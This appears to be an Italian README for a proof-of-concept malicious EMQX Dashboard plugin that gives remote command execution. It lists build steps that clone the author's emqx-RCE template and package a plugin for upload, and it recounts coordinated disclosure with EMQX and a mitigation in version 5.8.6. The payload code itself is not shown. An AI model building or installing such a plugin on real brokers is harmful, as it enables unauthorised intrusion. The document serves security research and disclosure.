
Plugin malevolo nella Dashboard di EMQX che porta a RCE
Questo è un plugin malevolo per EMQX Dashboard che consente di eseguire comandi in remoto.
Il codice in questo repository si basa principalmente su una delle ultime release del repository EMQX plugin template, distribuito con licenza Apache 2.0.
Se desideri provarlo, puoi avviare un'immagine Docker come spiegato nella documentazione di EMQX.
sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev \
libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version
asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
git clone https://github.com/erlang/rebar3.git
cd rebar3
./bootstrap
sudo chmod +x rebar3
sudo mv rebar3 /usr/local/bin/
mkdir -p ~/.config/rebar3/templates/emqx-plugin-template
git clone https://github.com/ricardojoserf/emqx-RCE ~/.config/rebar3/templates/emqx-plugin-template

rebar3 new emqx-plugin my_emqx_plugin
make -C my_emqx_plugin rel
cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .
A seguito delle discussioni con il team di sicurezza di EMQX a febbraio e marzo 2025, hanno confermato che questa non è considerata una vulnerabilità ma piuttosto una "funzionalità" e non hanno obiezioni a rendere pubblico questo repository.
Tuttavia, a partire dalla versione 5.8.6 (rilasciata il 25/3/25), questa funzionalità sarà mitigata introducendo "un comando CLI per consentire esplicitamente il pacchetto prima di installare un plugin tramite l'API HTTP o la Dashboard, migliorando la sicurezza e prevenendo installazioni non autorizzate" (fonte).
Pertanto, nelle versioni precedenti, avendo accesso alla EMQX Dashboard è possibile ottenere RCE, ma nelle versioni successive alla 5.8.6 si otterrà questo errore:
